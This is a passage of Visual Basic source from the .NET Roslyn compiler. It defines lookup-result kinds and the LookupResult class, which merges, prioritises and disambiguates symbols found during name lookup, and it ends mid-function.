' Licensed to the .NET Foundation under one or more agreements. ' The .NET Foundation licenses this file to you under the MIT license. ' See the LICENSE file in the project root for more information. Imports System.Collections.Generic Imports System.Collections.Immutable Imports System.Runtime.CompilerServices Imports Microsoft.CodeAnalysis.PooledObjects Imports Microsoft.CodeAnalysis.VisualBasic.Symbols Namespace Microsoft.CodeAnalysis.VisualBasic ' The kinds of results. Higher results take precedence over lower results (except that Good and Ambiguous have ' equal priority, generally). Friend Enum LookupResultKind Empty NotATypeOrNamespace NotAnAttributeType WrongArity NotCreatable Inaccessible NotReferencable ' e.g., implemented interface member in wrong interface, accessor that can't be called directly. NotAValue NotAVariable MustNotBeInstance MustBeInstance NotAnEvent ' appears only in semantic info (not in regular lookup) LateBound ' appears only in semantic info (not in regular lookup) ' Above this point, we continue looking up the binder chain for better possible symbol ' Below this point, we stop looking further (see StopFurtherLookup property) EmptyAndStopLookup WrongArityAndStopLookup OverloadResolutionFailure NotAWithEventsMember Ambiguous MemberGroup ' Indicates a set of symbols, and they are totally fine. Good End Enum Friend Module LookupResultKindExtensions <Extension()> Public Function ToCandidateReason(resultKind As LookupResultKind) As CandidateReason Select Case resultKind Case LookupResultKind.Empty, LookupResultKind.EmptyAndStopLookup Return CandidateReason.None Case LookupResultKind.OverloadResolutionFailure Return CandidateReason.OverloadResolutionFailure Case LookupResultKind.NotATypeOrNamespace Return CandidateReason.NotATypeOrNamespace Case LookupResultKind.NotAnEvent Return CandidateReason.NotAnEvent Case LookupResultKind.LateBound Return CandidateReason.LateBound Case LookupResultKind.NotAnAttributeType Return CandidateReason.NotAnAttributeType Case LookupResultKind.NotAWithEventsMember Return CandidateReason.NotAWithEventsMember Case LookupResultKind.WrongArity, LookupResultKind.WrongArityAndStopLookup Return CandidateReason.WrongArity Case LookupResultKind.NotCreatable Return CandidateReason.NotCreatable Case LookupResultKind.Inaccessible Return CandidateReason.Inaccessible Case LookupResultKind.NotAValue Return CandidateReason.NotAValue Case LookupResultKind.NotAVariable Return CandidateReason.NotAVariable Case LookupResultKind.NotReferencable Return CandidateReason.NotReferencable Case LookupResultKind.MustNotBeInstance, LookupResultKind.MustBeInstance Return CandidateReason.StaticInstanceMismatch Case LookupResultKind.Ambiguous Return CandidateReason.Ambiguous Case LookupResultKind.MemberGroup Return CandidateReason.MemberGroup Case Else ' Should not call this on LookupResultKind.Good or undefined kind Throw ExceptionUtilities.UnexpectedValue(resultKind) End Select End Function End Module ''' <summary> ''' Represents a result of lookup operation over a 0 or 1 symbol (as opposed to a scope). ''' The typical use is to represent that a particular symbol is good/bad/unavailable. ''' '''For more explanation of Kind, Symbol, Error - see LookupResult. ''' </summary> Friend Structure SingleLookupResult ' the kind of result. Friend ReadOnly Kind As LookupResultKind ' the symbol or null. Friend ReadOnly Symbol As Symbol ' the error of the result, if it is Bag or Inaccessible or WrongArityAndStopLookup Friend ReadOnly Diagnostic As DiagnosticInfo Friend Sub New(kind As LookupResultKind, symbol As Symbol, diagInfo As DiagnosticInfo) Me.Kind = kind Me.Symbol = symbol Me.Diagnostic = diagInfo End Sub Public ReadOnly Property HasDiagnostic As Boolean Get Return Diagnostic IsNot Nothing End Get End Property ' Get a result for a good (viable) symbol with no errors. ' Get an empty result. Public Shared ReadOnly Empty As New SingleLookupResult(LookupResultKind.Empty, Nothing, Nothing) Public Shared Function Good(sym As Symbol) As SingleLookupResult Return New SingleLookupResult(LookupResultKind.Good, sym, Nothing) End Function ' 2 or more ambiguous symbols. Public Shared Function Ambiguous(syms As ImmutableArray(Of Symbol), generateAmbiguityDiagnostic As Func(Of ImmutableArray(Of Symbol), AmbiguousSymbolDiagnostic)) As SingleLookupResult Debug.Assert(syms.Length > 1) Dim diagInfo As DiagnosticInfo = generateAmbiguityDiagnostic(syms) Return New SingleLookupResult(LookupResultKind.Ambiguous, syms.First(), diagInfo) End Function Public Shared Function WrongArityAndStopLookup(sym As Symbol, err As ERRID) As SingleLookupResult Return New SingleLookupResult(LookupResultKind.WrongArityAndStopLookup, sym, New BadSymbolDiagnostic(sym, err)) End Function Public Shared ReadOnly EmptyAndStopLookup As New SingleLookupResult(LookupResultKind.EmptyAndStopLookup, Nothing, Nothing) Public Shared Function WrongArityAndStopLookup(sym As Symbol, diagInfo As DiagnosticInfo) As SingleLookupResult Return New SingleLookupResult(LookupResultKind.WrongArityAndStopLookup, sym, diagInfo) End Function Public Shared Function WrongArity(sym As Symbol, diagInfo As DiagnosticInfo) As SingleLookupResult Return New SingleLookupResult(LookupResultKind.WrongArity, sym, diagInfo) End Function Public Shared Function WrongArity(sym As Symbol, err As ERRID) As SingleLookupResult Return New SingleLookupResult(LookupResultKind.WrongArity, sym, New BadSymbolDiagnostic(sym, err)) End Function ' Gets a bad result for a symbol that doesn't match static/instance Public Shared Function MustNotBeInstance(sym As Symbol, err As ERRID) As SingleLookupResult Return New SingleLookupResult(LookupResultKind.MustNotBeInstance, sym, New BadSymbolDiagnostic(sym, err)) End Function ' Gets a bad result for a symbol that doesn't match static/instance, with no error message (special case for API-access) Public Shared Function MustBeInstance(sym As Symbol) As SingleLookupResult Return New SingleLookupResult(LookupResultKind.MustBeInstance, sym, Nothing) End Function ' Gets a inaccessible result for a symbol. Public Shared Function Inaccessible(sym As Symbol, diagInfo As DiagnosticInfo) As SingleLookupResult Return New SingleLookupResult(LookupResultKind.Inaccessible, sym, diagInfo) End Function Friend Shared Function NotAnAttributeType(sym As Symbol, [error] As DiagnosticInfo) As SingleLookupResult Return New SingleLookupResult(LookupResultKind.NotAnAttributeType, sym, [error]) End Function ' Should we stop looking further for a better result? Public ReadOnly Property StopFurtherLookup As Boolean Get Return Kind >= LookupResultKind.WrongArityAndStopLookup End Get End Property Public ReadOnly Property IsGoodOrAmbiguous As Boolean Get Return Kind = LookupResultKind.Good OrElse Kind = LookupResultKind.Ambiguous End Get End Property Public ReadOnly Property IsGood As Boolean Get Return Kind = LookupResultKind.Good End Get End Property Public ReadOnly Property IsAmbiguous As Boolean Get Return Kind = LookupResultKind.Ambiguous End Get End Property End Structure ''' <summary> ''' A LookupResult summarizes the result of a name lookup, and allows combining name lookups ''' from different scopes in an easy way. ''' ''' A LookupResult can be ONE OF: ''' empty - nothing found. ''' a non-accessible result - this kind of result means that search continues into further scopes of lower priority for ''' a viable result. An error is attached with the inaccessibility errors. Non-accessible results take priority over ''' non-viable results. ''' a non-viable result - a result that means that the search continues into further scopes of lower priority for ''' a viable or non-accessible result. An error is attached with the error that indicates ''' why the result is non-viable. ''' a bad symbol that stops further lookup - this kind of result prevents lookup into further scopes of lower priority. ''' a diagnostic is attached explaining why the symbol is bad. ''' ambiguous symbols.- In this case, an AmbiguousSymbolDiagnostic diagnostic has the other symbols. ''' a good symbol, or set of good overloaded symbols - no diagnostic is attached in this case ''' ''' Occasionally, good or ambiguous results are referred to as "viable" results. ''' ''' Multiple symbols can be represented in a single LookupResult. Multiple symbols are ONLY USED for overloadable ''' entities, such an methods or properties, and represent all the symbols that overload resolution needs to consider. ''' When ambiguous symbols are encountered, a single representative symbols is returned, with an attached AmbiguousSymbolDiagnostic ''' from which all the ambiguous symbols can be retrieved. This implies that Lookup operations that are restricted to namespaces ''' and/or types always create a LookupResult with 0 or 1 symbol. ''' ''' Note that the class is poolable so its instances can be obtained from a pool via GetInstance. ''' Also it is a good idea to call Free on instances after they no longer needed. ''' ''' The typical pattern is "caller allocates / caller frees" - ''' ''' Dim result = LookupResult.GetInstance() ''' ''' scope.Lookup(result, "goo") ''' ... use result ... ''' ''' result.Clear() ''' anotherScope.Lookup(result, "moo") ''' ... use result ... ''' ''' result.Free() 'result and its content is invalid after this ''' </summary> Friend Class LookupResult ' The kind of result. Private _kind As LookupResultKind ' The symbol, unless the kind is empty. Private ReadOnly _symList As ArrayBuilder(Of Symbol) ' The diagnostic. This is always set for NonAccessible and NonViable results. It may be ' set for viable results. Private _diagInfo As DiagnosticInfo ' The pool used to get instances from. Private ReadOnly _pool As ObjectPool(Of LookupResult) '''''''''''''''''''''''''''''' ' Access routines Public ReadOnly Property Kind As LookupResultKind Get Return _kind End Get End Property ' Should we stop looking further for a better result? Stop for kind EmptyAndStopLookup, WrongArityAndStopLookup, Ambiguous, or Good. Public ReadOnly Property StopFurtherLookup As Boolean Get Return _kind >= LookupResultKind.EmptyAndStopLookup End Get End Property ' Does it have a symbol without error. Public ReadOnly Property IsGood As Boolean Get Return _kind = LookupResultKind.Good End Get End Property Public ReadOnly Property IsGoodOrAmbiguous As Boolean Get Return _kind = LookupResultKind.Good OrElse _kind = LookupResultKind.Ambiguous End Get End Property Public ReadOnly Property IsAmbiguous As Boolean Get Return _kind = LookupResultKind.Ambiguous End Get End Property Public ReadOnly Property IsWrongArity As Boolean Get Return _kind = LookupResultKind.WrongArity OrElse _kind = LookupResultKind.WrongArityAndStopLookup End Get End Property Public ReadOnly Property HasDiagnostic As Boolean Get Return _diagInfo IsNot Nothing End Get End Property Public ReadOnly Property Diagnostic As DiagnosticInfo Get Return _diagInfo End Get End Property Public ReadOnly Property HasSymbol As Boolean Get Return _symList.Count > 0 End Get End Property Public ReadOnly Property HasSingleSymbol As Boolean Get Return _symList.Count = 1 End Get End Property Public ReadOnly Property Symbols As ArrayBuilder(Of Symbol) Get Return _symList End Get End Property Public ReadOnly Property SingleSymbol As Symbol Get Debug.Assert(HasSingleSymbol) Return _symList(0) End Get End Property '''''''''''''''''''''''''''''' ' Creation routines Private Shared ReadOnly s_poolInstance As ObjectPool(Of LookupResult) = CreatePool() Private Shared Function CreatePool() As ObjectPool(Of LookupResult) Dim pool As ObjectPool(Of LookupResult) = Nothing pool = New ObjectPool(Of LookupResult)(Function() New LookupResult(pool), 128) Return pool End Function ' Private constructor. Use shared methods for construction. Private Sub New(pool As ObjectPool(Of LookupResult)) MyClass.New() _pool = pool End Sub ' used by unit tests Friend Sub New() _kind = LookupResultKind.Empty _symList = New ArrayBuilder(Of Symbol) _diagInfo = Nothing End Sub Public Shared Function GetInstance() As LookupResult Return s_poolInstance.Allocate() End Function Public Sub Free() Clear() If _pool IsNot Nothing Then _pool.Free(Me) End If End Sub Public Sub Clear() _kind = LookupResultKind.Empty _symList.Clear() _diagInfo = Nothing End Sub Public ReadOnly Property IsClear As Boolean Get Return _kind = LookupResultKind.Empty AndAlso _symList.Count = 0 AndAlso _diagInfo Is Nothing End Get End Property Private Sub SetFrom(kind As LookupResultKind, sym As Symbol, diagInfo As DiagnosticInfo) _kind = kind _symList.Clear() If sym IsNot Nothing Then _symList.Add(sym) End If _diagInfo = diagInfo End Sub ''' <summary> ''' Set current result according to another ''' </summary> Public Sub SetFrom(other As SingleLookupResult) SetFrom(other.Kind, other.Symbol, other.Diagnostic) End Sub ''' <summary> ''' Set current result according to another ''' </summary> Public Sub SetFrom(other As LookupResult) _kind = other._kind _symList.Clear() _symList.AddRange(other._symList) _diagInfo = other._diagInfo End Sub ''' <summary> ''' Set current result according to a given symbol ''' </summary> ''' <param name="s"></param> ''' <remarks></remarks> Public Sub SetFrom(s As Symbol) SetFrom(SingleLookupResult.Good(s)) End Sub ' Get a result for set of symbols. ' If the set is empty, an empty result is created. ' If the set has one member, a good (viable) symbol is created. ' If the set has more than one member, the first member is a good result, but an ambiguity error ' is attached with all the ambiguous symbols in it. The supplied delegate is called to generate the ' ambiguity error (only if the set has >1 symbol in it). Public Sub SetFrom(syms As ImmutableArray(Of Symbol), generateAmbiguityDiagnostic As Func(Of ImmutableArray(Of Symbol), AmbiguousSymbolDiagnostic)) If syms.Length = 0 Then ' no symbols provided. return empty result Clear() ElseIf syms.Length > 1 Then ' ambiguous symbols. Dim diagInfo As DiagnosticInfo = generateAmbiguityDiagnostic(syms) SetFrom(LookupResultKind.Ambiguous, syms(0), diagInfo) Else ' single good symbol SetFrom(SingleLookupResult.Good(syms(0))) End If End Sub '''''''''''''''''''''''''''''' ' Combining routines ' Merge two results, returning the better one. If they are equally good, the first has ' priority. Never produces an ambiguity. Public Sub MergePrioritized(other As LookupResult) If other.Kind > Me.Kind AndAlso Me.Kind < LookupResultKind.Ambiguous Then SetFrom(other) End If End Sub ' Merge two results, returning the better one. If they are equally good, the first has ' priority. Never produces an ambiguity. Public Sub MergePrioritized(other As SingleLookupResult) If other.Kind > Me.Kind AndAlso Me.Kind < LookupResultKind.Ambiguous Then SetFrom(other) End If End Sub ' Merge two results, returning the best. If there are ' multiple viable results, instead produce an ambiguity between all of them. Public Sub MergeAmbiguous(other As LookupResult, generateAmbiguityDiagnostic As Func(Of ImmutableArray(Of Symbol), AmbiguousSymbolDiagnostic)) If Me.IsGoodOrAmbiguous AndAlso other.IsGoodOrAmbiguous Then ' Two viable or ambiguous results. Produce ambiguity. Dim ambiguousResults = ArrayBuilder(Of Symbol).GetInstance() If TypeOf Me.Diagnostic Is AmbiguousSymbolDiagnostic Then ambiguousResults.AddRange(DirectCast(Me.Diagnostic, AmbiguousSymbolDiagnostic).AmbiguousSymbols) Else ambiguousResults.AddRange(Me.Symbols) End If If TypeOf other.Diagnostic Is AmbiguousSymbolDiagnostic Then ambiguousResults.AddRange(DirectCast(other.Diagnostic, AmbiguousSymbolDiagnostic).AmbiguousSymbols) Else ambiguousResults.AddRange(other.Symbols) End If SetFrom(ambiguousResults.ToImmutableAndFree(), generateAmbiguityDiagnostic) ElseIf other.Kind > Me.Kind Then SetFrom(other) Else Return End If End Sub ' Merge two results, returning the best. If there are ' multiple viable results, instead produce an ambiguity between all of them. Public Sub MergeAmbiguous(other As SingleLookupResult, generateAmbiguityDiagnostic As Func(Of ImmutableArray(Of Symbol), AmbiguousSymbolDiagnostic)) If Me.IsGoodOrAmbiguous AndAlso other.IsGoodOrAmbiguous Then ' Two viable results. Produce ambiguity. Dim ambiguousResults = ArrayBuilder(Of Symbol).GetInstance() If TypeOf Me.Diagnostic Is AmbiguousSymbolDiagnostic Then ambiguousResults.AddRange(DirectCast(Me.Diagnostic, AmbiguousSymbolDiagnostic).AmbiguousSymbols) Else ambiguousResults.AddRange(Me.Symbols) End If If TypeOf other.Diagnostic Is AmbiguousSymbolDiagnostic Then ambiguousResults.AddRange(DirectCast(other.Diagnostic, AmbiguousSymbolDiagnostic).AmbiguousSymbols) Else ambiguousResults.Add(other.Symbol) End If SetFrom(ambiguousResults.ToImmutableAndFree(), generateAmbiguityDiagnostic) ElseIf other.Kind > Me.Kind Then SetFrom(other) Else Return End If End Sub ' Determine if two symbols can overload each other. ' Two symbols that are both methods or both properties can overload each other. Public Shared Function CanOverload(sym1 As Symbol, sym2 As Symbol) As Boolean Return sym1.Kind = sym2.Kind AndAlso sym1.IsOverloadable AndAlso sym2.IsOverloadable End Function ' Determine if all property or method symbols in the current result have the "Overloads" modifier. ' The "Overloads" modifier is the opposite of the "Shadows" modifier. Public Function AllSymbolsHaveOverloads() As Boolean For Each sym In Symbols Select Case sym.Kind Case SymbolKind.Method If Not DirectCast(sym, MethodSymbol).IsOverloads Then Return False End If Case SymbolKind.Property If Not DirectCast(sym, PropertySymbol).IsOverloads Then Return False End If End Select Next Return True End Function ' Merge two results, returning the best. If there are ' multiple viable results, either produce an result with both symbols if they can overload each other, ' or use the current one.. Public Sub MergeOverloadedOrPrioritizedExtensionMethods(other As SingleLookupResult) Debug.Assert(Not Me.IsAmbiguous AndAlso Not other.IsAmbiguous) Debug.Assert(other.Symbol.IsReducedExtensionMethod()) Debug.Assert(Not Me.HasSymbol OrElse Me.Symbols(0).IsReducedExtensionMethod()) If Me.IsGood AndAlso other.IsGood Then _symList.Add(other.Symbol) ElseIf other.Kind > Me.Kind Then SetFrom(other) ElseIf Me.Kind <> LookupResultKind.Inaccessible OrElse Me.Kind > other.Kind Then Return Else _symList.Add(other.Symbol) End If End Sub ' Merge two results, returning the best. If there are ' multiple viable results, either produce a result with both symbols if they can overload each other, ' or use the current. ' If the "checkIfCurrentHasOverloads" is True, then we only overload if every symbol in our current result has "Overloads" modifier; otherwise ' we overload regardless of the modifier. Public Sub MergeOverloadedOrPrioritized(other As LookupResult, checkIfCurrentHasOverloads As Boolean) If Me.IsGoodOrAmbiguous AndAlso other.IsGoodOrAmbiguous Then If Me.IsGood AndAlso other.IsGood Then ' Two viable results. Either they can overload each other, or we need to produce an ambiguity. If CanOverload(Me.Symbols(0), other.Symbols(0)) AndAlso (Not checkIfCurrentHasOverloads OrElse AllSymbolsHaveOverloads()) Then _symList.AddRange(other.Symbols) Else ' They don't overload each other. Just hide. Return End If Else Debug.Assert(Me.IsAmbiguous OrElse other.IsAmbiguous) ' Stick with the current result. ' Good result from derived class shouldn't be overridden by an ambiguous result from the base class. ' Ambiguous result from derived class shouldn't be overridden by a good result from the base class. Return End If ElseIf other.Kind > Me.Kind Then SetFrom(other) ElseIf Me.Kind <> LookupResultKind.Inaccessible OrElse Me.Kind > other.Kind OrElse Not CanOverload(Me.Symbols(0), other.Symbols(0)) OrElse (checkIfCurrentHasOverloads AndAlso Not AllSymbolsHaveOverloads()) Then Return Else _symList.AddRange(other.Symbols) End If End Sub ''' <summary> ''' Merge two results, returning the best. If there are ''' multiple viable results, either produce a result with both symbols if they ''' can overload each other, or use the current. ''' </summary> ''' <param name="other">Other result.</param> ''' <param name="checkIfCurrentHasOverloads"> ''' If the checkIfCurrentHasOverloads is True, then we only overload if every symbol in ''' our current result has "Overloads" modifier; otherwise we overload ''' regardless of the modifier. ''' </param> ''' <remarks></remarks> Public Sub MergeOverloadedOrPrioritized(other As SingleLookupResult, checkIfCurrentHasOverloads As Boolean) If Me.IsGoodOrAmbiguous AndAlso other.IsGoodOrAmbiguous Then If Me.IsGood AndAlso other.IsGood Then ' Two viable results. Either they can overload each other, or we need to produce an ambiguity. If CanOverload(Me.Symbols(0), other.Symbol) AndAlso (Not checkIfCurrentHasOverloads OrElse AllSymbolsHaveOverloads()) Then _symList.Add(other.Symbol) Else ' They don't overload each other. Just hide. Return End If Else Debug.Assert(Me.IsAmbiguous OrElse other.IsAmbiguous) ' Stick with the current result. ' Good result from derived class shouldn't be overridden by an ambiguous result from the base class. ' Ambiguous result from derived class shouldn't be overridden by a good result from the base class. Return End If ElseIf other.Kind > Me.Kind Then SetFrom(other) ElseIf Me.Kind <> LookupResultKind.Inaccessible OrElse Me.Kind > other.Kind OrElse Not CanOverload(Me.Symbols(0), other.Symbol) OrElse (checkIfCurrentHasOverloads AndAlso Not AllSymbolsHaveOverloads()) Then Return Else _symList.Add(other.Symbol) End If End Sub ' Merge two results, returning the best. If there are ' multiple viable results, either produce an result with both symbols if they can overload each other, ' or produce an ambiguity error otherwise. Public Sub MergeMembersOfTheSameType(other As SingleLookupResult, imported As Boolean) Debug.Assert(Not Me.HasSymbol OrElse other.Symbol Is Nothing OrElse TypeSymbol.Equals(Me.Symbols(0).ContainingType, other.Symbol.ContainingType, TypeCompareKind.ConsiderEverything)) Debug.Assert(Not other.IsAmbiguous) If Me.IsGoodOrAmbiguous AndAlso other.IsGood Then ' Two viable results. Either they can overload each other, or we need to produce an ambiguity. MergeOverloadedOrAmbiguousInTheSameType(other, imported) ElseIf other.Kind > Me.Kind Then SetFrom(other) ElseIf Me.Kind <> LookupResultKind.Inaccessible OrElse Me.Kind > other.Kind Then Return ElseIf Not CanOverload(Me.Symbols(0), other.Symbol) Then Debug.Assert(Me.Kind = LookupResultKind.Inaccessible) Debug.Assert(Me.Kind = other.Kind) If Me.Symbols.All(Function(candidate, otherSymbol) candidate.DeclaredAccessibility < otherSymbol.DeclaredAccessibility, other.Symbol) Then SetFrom(other) End If Else _symList.Add(other.Symbol) End If End Sub Private Sub MergeOverloadedOrAmbiguousInTheSameType(other As SingleLookupResult, imported As Boolean) Debug.Assert(Me.IsGoodOrAmbiguous AndAlso other.IsGood) If Me.IsGood Then If CanOverload(Me.Symbols(0), other.Symbol) Then _symList.Add(other.Symbol) Return End If If imported Then ' Prefer more accessible symbols. Dim lost As Integer = 0 Dim ambiguous As Integer = 0 Dim otherLost As Boolean = False Dim i As Integer For i = 0 To _symList.Count - 1 Dim accessibilityCmp As Integer = CompareAccessibilityOfSymbolsConflictingInSameContainer(_symList(i), other.Symbol) If accessibilityCmp = 0 Then ambiguous += 1 ElseIf accessibilityCmp < 0 Then lost += 1 _symList(i) = Nothing Else otherLost = True End If Next If lost = _symList.Count Then Debug.Assert(Not otherLost AndAlso ambiguous = 0) SetFrom(other) Return End If If otherLost Then Debug.Assert(lost + ambiguous < _symList.Count) ' Remove ambiguous from the result, because they lost as well. If ambiguous > 0 Then lost += ambiguous ambiguous = RemoveAmbiguousSymbols(other.Symbol, ambiguous) End If Debug.Assert(ambiguous = 0) Else Debug.Assert(ambiguous = _symList.Count - lost) End If ' Compact the array of symbols CompactSymbols(lost) Debug.Assert(_symList.Count > 0) If otherLost Then Return End If ' As a special case, we allow conflicting enum members imported from ' metadata If they have the same value, and take the first If _symList.Count = 1 AndAlso ambiguous = 1 AndAlso AreEquivalentEnumConstants(_symList(0), other.Symbol) Then Return End If End If ElseIf imported Then Debug.Assert(Me.IsAmbiguous) ' This function guarantees that accessibility of all ambiguous symbols, ' even those dropped from the list by MergeAmbiguous is the same. ' So, it is sufficient to test Accessibility of the only symbol we have. Dim accessibilityCmp As Integer = CompareAccessibilityOfSymbolsConflictingInSameContainer(_symList(0), other.Symbol) If accessibilityCmp < 0 Then SetFrom(other) Return ElseIf accessibilityCmp > 0 Then Return End If End If #If DEBUG Then If imported Then For i = 0 To _symList.Count - 1 Debug.Assert(_symList(i).DeclaredAccessibility = other.Symbol.DeclaredAccessibility) Next End If #End If ' We were unable to resolve the ambiguity MergeAmbiguous(other, s_ambiguousInTypeError) End Sub Private Shared Function AreEquivalentEnumConstants(symbol1 As Symbol, symbol2 As Symbol) As Boolean Debug.Assert(TypeSymbol.Equals(symbol1.ContainingType, symbol2.ContainingType, TypeCompareKind.ConsiderEverything)) If symbol1.Kind <> SymbolKind.Field OrElse symbol2.Kind <> SymbolKind.Field OrElse symbol1.ContainingType.TypeKind <> TypeKind.Enum Then Return False End If Dim f1 = DirectCast(symbol1, FieldSymbol) Dim f2 = DirectCast(symbol2, FieldSymbol) Return f1.ConstantValue IsNot Nothing AndAlso f1.ConstantValue.Equals(f2.ConstantValue) End Function ' Create a diagnostic for ambiguous names in the same type. This is typically not possible from source, only ' from metadata. Private Shared ReadOnly s_ambiguousInTypeError As Func(Of ImmutableArray(Of Symbol), AmbiguousSymbolDiagnostic) = Function(syms As ImmutableArray(Of Symbol)) As AmbiguousSymbolDiagnostic Dim name As String = syms(0).Name Dim container As Symbol = syms(0).ContainingSymbol Debug.Assert(container IsNot Nothing, "ContainingSymbol property of the first ambiguous symbol cannot be Nothing") Dim containerKindText As String = container.GetKindText() Return New AmbiguousSymbolDiagnostic(ERRID.ERR_MetadataMembersAmbiguous3, syms, name, containerKindText, container) End Function Private Sub CompactSymbols(lost As Integer) If lost > 0 Then Dim i As Integer For i = 0 To _symList.Count - 1 If _symList(i) Is Nothing Then Exit For End If Next Debug.Assert(i < _symList.Count) Dim left As Integer = _symList.Count - lost If left > i Then Dim j As Integer For j = i + 1 To _symList.Count - 1 If _symList(j) IsNot Nothing Then _symList(i) = _symList(j) i += 1 If i = left Then Exit For End If End If Next #If DEBUG Then For j = j + 1 To _symList.Count - 1 Debug.Assert(_symList(j) Is Nothing) Next #End If End If Debug.Assert(i = left) _symList.Clip(left) End If End Sub Private Function RemoveAmbiguousSymbols(other As Symbol, ambiguous As Integer) As Integer Dim i As Integer For i = 0 To _symList.Count - 1 If _symList(i) IsNot Nothing AndAlso _symList(i).DeclaredAccessibility = other.DeclaredAccessibility Then _symList(i) = Nothing ambiguous -= 1 If ambiguous = 0 Then Exit For End If End If Next #If DEBUG Then For i = i + 1 To _symList.Count - 1 Debug.Assert(_symList(i) Is Nothing OrElse _symList(i).DeclaredAccessibility <> other.DeclaredAccessibility) Next #End If Return ambiguous End Function ''' <summary> ''' Returns: negative value - when first lost, 0 - when neither lost, > 0 - when second lost. ''' </summary> Public Shared Function CompareAccessibilityOfSymbolsConflictingInSameContainer( first As Symbol, second As Symbol ) As Integer If first.DeclaredAccessibility = second.DeclaredAccessibility Then Return 0 End If ' Note, Dev10 logic is - if containing assembly has friends, Protected is preferred over Friend, ' otherwise Friend is preferred over Protected. ' That logic (the dependency on presence of InternalsVisibleTo attribute) seems unnecessary complicated. ' If there are friends, we prefer Protected. If there are no friends, we prefer Friend, but Friend members ' are going to be inaccessible (there are no friend assemblies) and will be discarded by the name lookup, ' leaving Protected members uncontested and thus available. Effectively, Protected always wins over Friend, ' regardless of presence of InternalsVisibleTo attributes. Am I missing something? ' For now implementing simple logic - Protected is better than Friend. If first.DeclaredAccessibility < second.DeclaredAccessibility Then If first.DeclaredAccessibility = Accessibility.Protected AndAlso second.DeclaredAccessibility = Accessibility.Friend Then Return 1 Else Return -1 End If Else If second.DeclaredAccessibility = Accessibility.Protected AndAlso first.DeclaredAccessibility = Accessibility.Friend Then Return -1 Else Return 1 End If End If End Function Public Sub MergeMembersOfTheSameNamespace(other As SingleLookupResult, sourceModule As ModuleSymbol, options As LookupOptions) Dim resolution As Integer = ResolveAmbiguityInTheSameNamespace(other, sourceModule, options) If resolution > 0 Then Return ElseIf resolution < 0 Then SetFrom(other) Return End If MergeAmbiguous(other, s_ambiguousInNSError) End Sub Private Enum SymbolLocation FromSourceModule FromReferencedAssembly FromCorLibrary End Enum Private Shared Function GetSymbolLocation(sym As Symbol, sourceModule As ModuleSymbol, options As LookupOptions) As SymbolLocation ' Dev10 pays attention to the fact that the [sym] refers to a namespace ' and the namespace has a declaration in source. This needs some special handling for merged namespaces. If sym.Kind = SymbolKind.Namespace Then Return If(DirectCast(sym, NamespaceSymbol).IsDeclaredInSourceModule(sourceModule), SymbolLocation.FromSourceModule, SymbolLocation.FromReferencedAssembly) End If If sym.ContainingModule Is sourceModule Then Return SymbolLocation.FromSourceModule End If If sourceModule.DeclaringCompilation.Options.IgnoreCorLibraryDuplicatedTypes Then ' Ignore duplicate types from the cor library if necessary. ' (Specifically the framework assemblies loaded at runtime in ' the EE may contain types also available from mscorlib.dll.) Dim containingAssembly = sym.ContainingAssembly If containingAssembly Is containingAssembly.CorLibrary Then Return SymbolLocation.FromCorLibrary End If End If Return SymbolLocation.FromReferencedAssembly End Function ''' <summary> ''' Returns: negative value - when current lost, 0 - when neither lost, > 0 - when other lost. ''' </summary> Private Function ResolveAmbiguityInTheSameNamespace(other As SingleLookupResult, sourceModule As ModuleSymbol, options As LookupOptions) As Integer Debug.Assert(Not other.IsAmbiguous) ' Symbols in source take priority over symbols in a referenced assembly. If other.StopFurtherLookup AndAlso Me.StopFurtherLookup AndAlso Me.Symbols.Count > 0 Then Dim currentLocation = GetSymbolLocation(other.Symbol, sourceModule, options) Dim contenderLocation = GetSymbolLocation(Me.Symbols(0), sourceModule, options) Dim diff = currentLocation - contenderLocation If diff <> 0 Then Return diff End If End If If other.IsGood Then If Me.IsGood Then Debug.Assert(Me.HasSingleSymbol) Debug.Assert(Me.Symbols(0).Kind <> SymbolKind.Namespace OrElse other.Symbol.Kind <> SymbolKind.Namespace) ' namespaces are supposed to be merged Return ResolveAmbiguityInTheSameNamespace(Me.Symbols(0), other.Symbol, sourceModule) ElseIf Me.IsAmbiguous Then ' Check to see if all symbols in the ambiguous result are types, which lose to the new symbol. For Each candidate In DirectCast(Me.Diagnostic, AmbiguousSymbolDiagnostic).AmbiguousSymbols Debug.Assert(candidate.Kind <> SymbolKind.Namespace OrElse other.Symbol.Kind <> SymbolKind.Namespace) ' namespaces are supposed to be merged If candidate.Kind = SymbolKind.Namespace Then Return 0 ' namespace never loses ElseIf ResolveAmbiguityInTheSameNamespace(candidate, other.Symbol, sourceModule) >= 0 Then Return 0 End If Next Return -1 End If End If Return 0 End Function ''' <summary> ''' Returns: negative value - when first lost, 0 - when neither lost, > 0 - when second lost. ''' </summary> Private Shared Function ResolveAmbiguityInTheSameNamespace(first As Symbol, second As Symbol, sourceModule As ModuleSymbol) As Integer ' If both symbols are from the same container, which could happen in metadata, ' prefer most accessible. If first.ContainingSymbol Is second.ContainingSymbol Then If first.ContainingModule Is sourceModule Then Return 0 End If Return CompareAccessibilityOfSymbolsConflictingInSameContainer(first, second) Else ' This needs special handling because containing namespace of a merged namespace symbol is a merged namespace symbol. ' So, condition above will fail. Debug.Assert(first.Kind <> SymbolKind.Namespace OrElse second.Kind <> SymbolKind.Namespace) ' namespaces are supposed to be merged ' This is a conflict of namespace and non-namespace symbol. Having a non-namespace symbol ' defined in the source module along with namespace symbol leads to all types in the namespace ' being unreachable because of an ambiguity error (Return 0 below). ' ' Conditions 'first.IsEmbedded = second.IsEmbedded' below make sure that if an embedded ' namespace like Microsoft.VisualBasic conflicts with user defined type Microsoft.VisualBasic, ' namespace will win making possible to access embedded types via direct reference, ' such as Microsoft.VisualBasic.Embedded If first.Kind = SymbolKind.Namespace Then If second.ContainingModule Is sourceModule AndAlso first.IsEmbedded = second.IsEmbedded Then Return 0 End If Return ResolveAmbiguityBetweenTypeAndMergedNamespaceInTheSameNamespace(DirectCast(first, NamespaceSymbol), second) ElseIf second.Kind = SymbolKind.Namespace Then If first.ContainingModule Is sourceModule AndAlso first.IsEmbedded = second.IsEmbedded Then Return 0 End If Return (-1) * ResolveAmbiguityBetweenTypeAndMergedNamespaceInTheSameNamespace(DirectCast(second, NamespaceSymbol), first) End If Return 0 End If End Function ''' <summary> ''' Returns: negative value - when namespace lost, 0 - when neither lost, > 0 - when type lost. ''' </summary> Private Shared Function ResolveAmbiguityBetweenTypeAndMergedNamespaceInTheSameNamespace( possiblyMergedNamespace As NamespaceSymbol, type As Symbol ) As Integer Debug.Assert(possiblyMergedNamespace.DeclaredAccessibility = Accessibility.Public) Debug.Assert(type.Kind 